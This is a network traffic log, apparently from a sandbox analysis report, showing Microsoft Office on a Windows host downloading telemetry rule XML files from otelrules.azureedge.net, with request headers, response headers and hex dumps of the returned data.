2024-12-03 16:42:04 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:03 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:03 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: a8b72aac-901e-005b-059f-432005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164203Z-174f7845968cpnpfhC1EWR3afc00000015w0000000007c8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:04 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:04 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:04 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: a132b298-601e-0070-6cf9-43a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164204Z-174f7845968nxc96hC1EWRspw800000015wg00000000kn1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:04 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:04 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:04 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: b85c3fdb-401e-008c-650e-4586c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164204Z-174f7845968ljs8phC1EWRe6en000000164g00000000265s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:04 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:05 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:05 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 6460b669-f01e-00aa-725a-448521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164205Z-174f7845968kdththC1EWRzvxn0000000kn00000000040z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:05 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:06 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 3b4ace6b-101e-0046-10ef-4491b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164206Z-174f7845968cs2nkhC1EWR2tq000000001sg00000000twez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:06 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:06 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c03fc84f-d01e-0065-80f3-44b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164206Z-174f78459685726chC1EWRsnbg0000001690000000009thc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:06 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:06 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: f4a7b183-b01e-0098-27d5-43cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164206Z-174f7845968psccphC1EWRuz9s00000016c000000000qb6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:07 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:06 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:06 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: ae63cf80-d01e-00ad-1daa-42e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164206Z-174f784596886s2bhC1EWR743w00000016b0000000000u5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:07 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:07 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:07 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 1318377f-c01e-0034-12b7-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164207Z-174f7845968swgbqhC1EWRmnb4000000167000000000xvum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:07 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:08 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:08 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 44412a51-001e-000b-14c5-4315a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164208Z-174f7845968glpgnhC1EWR7uec00000016e0000000002zws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:09 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:08 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:09 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 22785ae5-e01e-0003-78b2-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164209Z-174f7845968n2hr8hC1EWR9cag00000015vg00000000b7pv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:09 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:08 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
